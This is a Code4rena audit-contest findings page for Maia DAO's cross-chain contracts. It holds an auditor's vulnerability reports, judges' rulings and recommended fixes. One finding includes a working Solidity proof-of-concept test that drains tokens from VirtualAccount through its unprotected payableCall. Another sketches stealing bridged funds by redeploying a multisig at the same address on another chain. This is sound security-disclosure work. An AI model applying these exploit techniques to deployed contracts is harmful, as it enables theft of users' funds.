Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 8/175
Findings: 3
Award: $3,912.33
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
All asset can be stolen from VirtualAccount#payableCall because lack of access control
Create a new file named POCTesting.t.sol
under the path:
2023-09-maia\test\ulysses-omnichain
add the test:
//SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.16; import "./helpers/ImportHelper.sol"; import "../../src/VirtualAccount.sol"; import "../../src/interfaces/IVirtualAccount.sol"; contract C4TestPOC is DSTestPlus { MockERC20 rewardToken; MockERC20 testToken; VirtualAccount virtualAccount; PayableCall[] public calls; address user = hevm.addr(5201314); address localPortAddress; function setUp() public { rewardToken = new MockERC20("hermes token", "HERMES", 18); testToken = new MockERC20("A", "AAA", 18); virtualAccount = new VirtualAccount(user, localPortAddress); } function testStealFund() public { testToken.mint(address(virtualAccount), 10000 ether); address hacker = hevm.addr(1111111); PayableCall memory myPayableCall1 = PayableCall({ target: address(testToken), // Replace with a valid address callData: abi.encodeWithSelector( bytes4(keccak256(bytes("transfer(address,uint256)"))), hacker, 10000 ether ), value: 0 ether }); PayableCall memory myPayableCall2 = PayableCall({ target: address(testToken), // Replace with a valid address callData: abi.encodeWithSelector( bytes4(keccak256(bytes("approve(address,uint256)"))), hacker, 10000 ether ), value: 0 ether }); calls.push(myPayableCall1); calls.push(myPayableCall2); virtualAccount.payableCall(calls); assertEq(testToken.balanceOf(address(virtualAccount)), 0); } }
this is because VirtualAccount# payableCall lack access control and allows aribtray call
then all ERC20 token, ERC721 and ERC1155 can be stolen as shown in the POC above
attacker only need to generate to call data to trigger transfer / safeTransferFrom / transferFrom to steal fund instantly
arbitray approval can be attached to the virtual account as well, allow attacker to steal fund later
Manual review, foundry
add access control to the function VirtualAccount#payableCall
Access Control
#0 - c4-pre-sort
2023-10-08T14:13:26Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:53:41Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:30:13Z
alcueca marked the issue as satisfactory
3886.5387 USDC - $3,886.54
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L276 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L577
Smart Contract calling callOutSignedAndBridge via BranchBridgeAgent can cause loss of fun
One of the cross-chain request pass is that when user calling callOutSignedAndBridge via BranchBridgeAgent
the payload is created
//Encode Data for cross-chain call. bytes memory payload = abi.encodePacked( _hasFallbackToggled ? bytes1(0x85) : bytes1(0x05), msg.sender, _depositNonce, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit, _params );
this would trigger the code on RootBridgeAgent.sol
} else if (_payload[0] & 0x7F == 0x05) { // Parse deposit nonce nonce = uint32(bytes4(_payload[PARAMS_START_SIGNED:PARAMS_TKN_START_SIGNED])); //Check if tx has already been executed if (executionState[_srcChainId][nonce] != STATUS_READY) { revert AlreadyExecutedTransaction(); } // Get User Virtual Account VirtualAccount userAccount = IPort(localPortAddress).fetchVirtualAccount( address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED]))) ); // Toggle Router Virtual Account use for tx execution IPort(localPortAddress).toggleVirtualAccountApproved(userAccount, localRouterAddress); // Avoid stack too deep uint16 srcChainId = _srcChainId; // Try to execute remote request // Flag 5 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeSignedWithDeposit(address(userAccount), localRouterAddress, data, _srcChainId) _execute( _payload[0] == 0x85, nonce, address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED]))), abi.encodeWithSelector( RootBridgeAgentExecutor.executeSignedWithDeposit.selector, address(userAccount), localRouterAddress, _payload, srcChainId ), srcChainId ); // Toggle Router Virtual Account use for tx execution IPort(localPortAddress).toggleVirtualAccountApproved(userAccount, localRouterAddress);
the msg.sender address in source chain (branch bridge agent chain) will be used to either fetch or create a new virtual wallet
/// @inheritdoc IRootPort function fetchVirtualAccount(address _user) external override returns (VirtualAccount account) { account = getUserAccount[_user]; if (address(account) == address(0)) account = addVirtualAccount(_user); }
and this function has no access control, anyone can trigger this function to create a virtual account for specific user address
and the function will not revert, if wallet does not exist, wallet is created for the user.
the code assume the same address in different blockchain belongs to the same owner
this is mostly true for EOA account
but not true for smart contract address (for example, multisig)
the same address for multisig in different network can belong to different owner
for example https://rekt.news/wintermute-rekt/
the false assumption of a mutlisig smart contract address is controlled by same owner in different network has cost 20M OP lost
the multisig address is controlled by wintermute in mainnet
the attacker observe the OP is sent to the same address in OP network
the attacker manage the get the factory nonce of the gensis safe factory and redeploy the same address in OP network to control the OP token
this could happens to the current implementation of maia dao
a user can observer when a multisig address trigger callOutSignedAndBridge and redeploy the same address in different network (root bridge agent) to control the fund
or it is possible a smart contract in blockchain A does not belong to anyone in blockchain B, in that case, the fund is lost
Manual Review
let user specify the recipient when calling callOutSignedAndBridge and use the recipient address to fetch virtual account
Token-Transfer
#0 - c4-pre-sort
2023-10-12T14:05:10Z
0xA5DF marked the issue as duplicate of #877
#1 - c4-pre-sort
2023-10-12T14:05:16Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-25T10:14:49Z
alcueca marked the issue as satisfactory
#3 - c4-judge
2023-10-27T09:20:12Z
alcueca changed the severity to 3 (High Risk)
#4 - c4-judge
2023-10-27T09:20:35Z
alcueca marked the issue as duplicate of #351
#5 - c4-judge
2023-10-27T09:21:13Z
alcueca marked the issue as partial-50
#6 - c4-judge
2023-10-27T10:49:53Z
alcueca changed the severity to 2 (Med Risk)
#7 - c4-judge
2023-10-27T10:51:26Z
alcueca marked the issue as selected for report
#8 - c4-judge
2023-10-27T10:51:42Z
alcueca marked the issue as not selected for report
#9 - c4-judge
2023-10-27T10:51:54Z
alcueca marked issue #877 as primary and marked this issue as a duplicate of 877
#10 - c4-judge
2023-10-27T10:56:28Z
alcueca marked the issue as satisfactory
#11 - c4-judge
2023-10-31T15:49:31Z
alcueca changed the severity to 3 (High Risk)
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
25.6785 USDC - $25.68
the owner of virtual account is capable of withdraw ERC20 token, and ERC721 token and native ETH
but there is no funciton to withdraw ERC1155 token directly
technically speaking the user can trigger the withdaw of ERC1155 token via multicall
but there is two multicall function:
for the function below
function call(Call[] calldata calls) external override requiresApprovedCaller
user can only trigger this function via the router and cross-chain request, for normal user that just want to withdraw ERC1155, this is too complicated and impact protocol useability
for the function
function payableCall(PayableCall[] calldata calls) public payable
anyone can trigger this function, which lacks acecss control.
to summarize it, the virtual account lacks the function to let user withdraw ERC1155 NFT
According to:
https://layerzero.gitbook.io/docs/evm-guides/layerzero-integration-checklist
Do not hardcode useZro to false when estimating fees and sending messages. Pass it as a parameter instead.
Do not hardcode address zero (address(0)) as zroPaymentAddress when estimating fees and sending messages. Pass it as a parameter instead.
however, in the current implementation, the protocol always payes the layerzero fee in ETH and offer no option to pay the fee in layerzero token
maybe in the future, paying the fee in layerzero token can have discount or on layerzero side they enforce the fee to be paid by layerzero token, then the usabilty of the maia dao agent contract will be impacted
#0 - c4-pre-sort
2023-10-15T08:59:10Z
0xA5DF marked the issue as sufficient quality report
#1 - 0xA5DF
2023-10-15T08:59:32Z
1 is dupe of #408 TODO
#2 - c4-judge
2023-10-20T13:28:03Z
alcueca marked the issue as grade-a
#3 - alcueca
2023-10-20T13:28:57Z
"Virtual Account cannot withdraw ERC1155 directly" might be a Medium. Might.
#4 - alcueca
2023-10-21T13:28:22Z
#408 will be judged as Low